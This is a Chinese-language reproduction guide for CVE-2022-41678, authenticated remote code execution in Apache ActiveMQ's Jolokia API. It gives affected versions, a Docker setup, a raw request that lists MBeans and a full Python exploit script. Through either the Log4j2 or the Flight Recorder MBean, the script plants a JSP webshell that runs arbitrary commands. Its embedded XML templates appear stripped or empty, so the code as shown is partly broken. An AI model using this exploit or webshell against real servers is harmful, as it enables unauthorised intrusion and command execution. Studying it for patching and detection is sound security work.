# Apache ActiveMQ Jolokia 后台远程代码执行漏洞 CVE-2022-41678
## 漏洞描述
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 在5.16.5, 5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。
参考链接:
- [https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt)
- [https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/](https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/)
## 漏洞影响
```
5.16.0<=Apache ActiveMQ<5.16.6
5.17.0<=Apache ActiveMQ<5.17.4
```
## 环境搭建
Vulhub执行如下命令启动一个Apache ActiveMQ 5.17.3服务器:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8161/`后输入账号密码`admin`和`admin`,即可成功登录后台。

## 漏洞复现
首先,访问`/api/jolokia/list`这个API可以查看当前服务器里所有的MBeans(请求头需要添加 `Origin`,否则返回 403 Forbidden):
```
GET /api/jolokia/list HTTP/1.1
Host: your-ip:8161
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Origin: http://your-ip:8161
Connection: close
```

这其中有两个可以被用来执行任意代码。
### 方法 1
第一个方法是使用`org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`,这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的`setConfigText`操作可以更改Log4j的配置,进而将日志文件写入任意目录中。
使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程:
```
python poc.py -u admin -p admin http://your-ip:8161
```

Webshell被写入在`/admin/shell.jsp`文件中。
这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ。
### 方法 2
第二个可利用的Mbean是`jdk.management.jfr.FlightRecorderMXBean`。
FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。
使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程(使用`--exploit`参数指定使用的方法):
```
python poc.py -u admin -p admin --exploit jfr http://localhost:8161
```

Webshell被写入在`/admin/shelljfr.jsp`文件中:

## 漏洞POC
poc.py
```python
#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); '
'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''
'''
evil_template = r'''
'''
record_template = r'''
true
true
1000 ms
true
everyChunk
true
1000 ms
true
true
true
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
false
true
20 ms
true
true
0 ms
true
true
0 ms
true
true
0 ms
true
true
false
true
0 ms
false
true
false
true
beginChunk
true
beginChunk
true
20 ms
true
20 ms
true
10 ms
false
10 ms
false
10 ms
false
10 ms
false
10 ms
false
10 ms
true
10 ms
true
true
true
everyChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
true
true
true
true
true
true
false
everyChunk
true
everyChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
false
true
true
true
true
true
true
true
true
true
true
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
false
0 ms
false
0 ms
true
0 ms
true
true
true
true
true
true
true
true
true
false
false
true
false
true
true
false
everyChunk
false
false
everyChunk
false
true
false
0 ns
true
beginChunk
true
1000 ms
true
1000 ms
true
60 s
false
false
true
beginChunk
true
everyChunk
true
100 ms
true
beginChunk
true
everyChunk
true
true
beginChunk
true
beginChunk
true
beginChunk
true
10 s
true
1000 ms
true
10 s
true
beginChunk
true
endChunk
true
5 s
true
beginChunk
true
everyChunk
false
true
false
true
true
everyChunk
true
endChunk
true
endChunk
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
false
true
false
true
false
true
false
true
false
true
true
true
true
1000 ms
true
true
true
true
true
10 ms
true
0 ms
true
10 ms
true
10 ms
20 ms
20 ms
20 ms
false
'''
class Application(object):
def __init__(self, url, username, password):
self.url = url
self.session = requests.session()
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/117.0.5938.132 Safari/537.36',
'Origin': url,
}
self.session.auth = (username, password)
def request(self, method: str, path: str, *args, **kwargs):
data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
assert data['status'] == 200
return data
def find_mbean_name(self):
data = self.request('GET', '/api/jolokia/list')
for name, val in data['value'].items():
if name == 'org.apache.logging.log4j2':
for type_name in val.keys():
if type_name.startswith('type='):
return f'{name}:{type_name}'
for name, val in data['value'].items():
if name == 'jdk.management.jfr':
for type_name in val.keys():
if type_name == 'type=FlightRecorder':
return f'{name}:{type_name}'
raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')
def modify_config(self, mbean: str, template: str):
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean=mbean,
operation='setConfigText',
arguments=[template, 'utf-8']
))
def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info('update log config')
self.request('GET', '/api/jolokia/version', headers={
'User-Agent': f'Mozilla ||| {webshell} |||'
})
logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
self.modify_config(mbean, original_template)
logging.info('restore log config')
def exploit_jfr(self):
record_id = self.create_record()
logging.info('create flight record, id = %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='setConfiguration',
arguments=[record_id, record_template]
))
logging.info('update configuration for record %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='startRecording',
arguments=[record_id]
))
logging.info('start record')
time.sleep(1)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='stopRecording',
arguments=[record_id]
))
logging.info('stop record')
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='copyTo',
arguments=[record_id, 'webapps/admin/shelljfr.jsp']
))
logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))
def exploit(self, action='auto'):
mbean = self.find_mbean_name()
if action == 'log4j':
logging.info('choice MBean org.apache.logging.log4j2 manually')
self.exploit_log4j(mbean)
elif action == 'jfr':
logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
self.exploit_jfr()
elif mbean.startswith('org.apache.logging.log4j2'):
logging.info('choice MBean %r automatically', mbean)
self.exploit_log4j(mbean)
else:
logging.info('choice MBean %r automatically', mbean)
self.exploit_jfr()
def create_record(self):
data = self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='newRecording',
arguments=[]
))
return data['value']
def main():
parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
parser.add_argument('url', type=str)
args = parser.parse_args()
app = Application(args.url, args.username, args.password)
app.exploit(args.exploit)
if __name__ == '__main__':
main()
```